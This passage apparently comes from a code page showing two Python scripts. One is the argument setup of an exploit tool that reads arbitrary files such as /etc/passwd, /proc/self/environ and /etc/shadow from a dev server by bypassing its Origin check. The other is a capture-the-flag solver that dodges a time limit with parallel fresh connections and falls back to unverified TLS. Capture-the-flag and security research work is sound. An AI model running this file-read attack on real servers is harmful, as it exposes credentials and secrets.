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       &lt;/span&gt;&lt;span&gt;epilog&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;examples:&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;243&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;&quot;  &lt;/span&gt;&lt;span&gt;%(prog)s&lt;/span&gt;&lt;span&gt; https://target:5173 /etc/passwd&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;244&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;&quot;  &lt;/span&gt;&lt;span&gt;%(prog)s&lt;/span&gt;&lt;span&gt; https://target:5173 /etc/passwd /proc/self/environ -o out/&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;245&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;&quot;  &lt;/span&gt;&lt;span&gt;%(prog)s&lt;/span&gt;&lt;span&gt; https://target:5173 --host-header localhost:5173 /etc/shadow&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;246&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ap.&lt;/span&gt;&lt;span&gt;add_argument&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;url&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;target URL, e.g. https://host:5173&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;247&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ap.&lt;/span&gt;&lt;span&gt;add_argument&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;files&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;nargs&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;+&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;absolute paths to read&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;248&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ap.&lt;/span&gt;&lt;span&gt;add_argument&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--ws-path&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;/&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;HMR websocket path (default /)&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;249&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ap.&lt;/span&gt;&lt;span&gt;add_argument&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--host-header&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;override Host header&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;250&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ap.&lt;/span&gt;&lt;span&gt;add_argument&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--origin&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;251&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;set an Origin header (leave unset to bypass, which is required)&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;252&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ap.&lt;/span&gt;&lt;span&gt;add_argument&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;--no-sni&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;action&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;store_true&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;do NOT send TLS SNI (breaks SNI-routed proxies)&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;253&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt; 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&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Hard constraint: the server allows 3.0 s of think time TOTAL across all 10 rounds&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(`budget = 3.0`, measured from writing the prompt to receiving our reply). A single&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sequential connection cannot finish: the server itself spends &amp;gt;1 s per round inside&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg. So we open one connection per trial - each gets its own fresh 3.0 s budget -&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;and only need 9 of them to be perfect.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Answer inference: `&amp;lt;start&amp;gt;` is an integer second and the clip is cut at exactly that&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;second, so the matched window start (rounded) is the answer.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Usage:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;python solve_findit.py --host 127.0.0.1 --port 9999 --workers 12&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;python solve_findit.py --host &amp;lt;target&amp;gt; --port 9999 --workers 16 --verbose&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;__future__&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; annotations&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
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A trailing &apos;&amp;gt; &apos; prompt is dropped if already buffered.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;82&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;83&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;header: &lt;/span&gt;&lt;span&gt;bytes&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;84&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; _ &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;85&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt; 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header, &lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;101&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
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&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;103&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;_is_payload&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ln&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bytes&lt;/span&gt;&lt;span&gt;) -&amp;gt; &lt;/span&gt;&lt;span&gt;bool&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;104&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;True when `ln` is a base64 blob (and not a header / verdict / prompt).&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;105&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&lt;span&gt;(ln) &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;256&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt;&lt;span&gt; ln.&lt;/span&gt;&lt;span&gt;startswith&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;[&quot;&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;106&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;False&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;107&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;108&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;base64.&lt;/span&gt;&lt;span&gt;b64decode&lt;/span&gt;&lt;span&gt;(ln, &lt;/span&gt;&lt;span&gt;validate&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;109&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;except&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Exception&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;110&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;False&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;111&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;112&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;113&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;114&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;_connect&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;host&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;port&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;use_ssl&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bool&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sni&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) -&amp;gt; socket.socket:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;115&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;Plain or TLS-wrapped connection. The remote instance is served over TLS on&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;116&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;443 with SNI, so certificate verification uses the SNI host name.&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;117&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;raw &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; socket.&lt;/span&gt;&lt;span&gt;create_connection&lt;/span&gt;&lt;span&gt;((host, port), &lt;/span&gt;&lt;span&gt;timeout&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;30.0&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;118&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; use_ssl:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;119&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; raw&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;120&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; ssl&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;121&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ctx &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ssl.&lt;/span&gt;&lt;span&gt;create_default_context&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;122&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;server_hostname &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; sni &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; host&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;123&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;124&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt;&lt;span&gt; ctx.&lt;/span&gt;&lt;span&gt;wrap_socket&lt;/span&gt;&lt;span&gt;(raw, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;server_hostname&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;server_hostname)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;125&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;except&lt;/span&gt;&lt;span&gt; ssl.SSLError:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;126&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;# some CTF endpoints present a self-signed certificate&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;127&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;128&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;raw.&lt;/span&gt;&lt;span&gt;close&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;129&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;except&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;OSError&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;130&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;pass&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;131&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;raw &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; socket.&lt;/span&gt;&lt;span&gt;create_connection&lt;/span&gt;&lt;span&gt;((host, port), &lt;/span&gt;&lt;span&gt;timeout&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;30.0&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;132&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ctx &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ssl.&lt;/span&gt;&lt;span&gt;_create_unverified_context&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;133&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt;&lt;span&gt; ctx.&lt;/span&gt;&lt;span&gt;wrap_socket&lt;/span&gt;&lt;span&gt;(raw, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;server_hostname&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;server_hostname)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;134&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;135&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;136&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;run_worker&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;host&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;port&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;worker_id&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;args&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dict&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;137&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;               &lt;/span&gt;&lt;/span&gt;&lt;span&gt;matcher&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;) -&amp;gt; &lt;/span&gt;&lt;span&gt;dict&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;138&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;One worker = a sequence of attempts, each on a fresh connection.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;139&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;140&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Per-round accuracy is ~85-95 % with the z-scored front-end, but the threshold is&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;141&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;9/10, so a single attempt still fails sometimes. Every fresh connection gets its&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;142&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;OWN 3.0 s budget and its own random rounds, so a failed attempt is simply retried&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;143&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;on a new connection.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;144&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
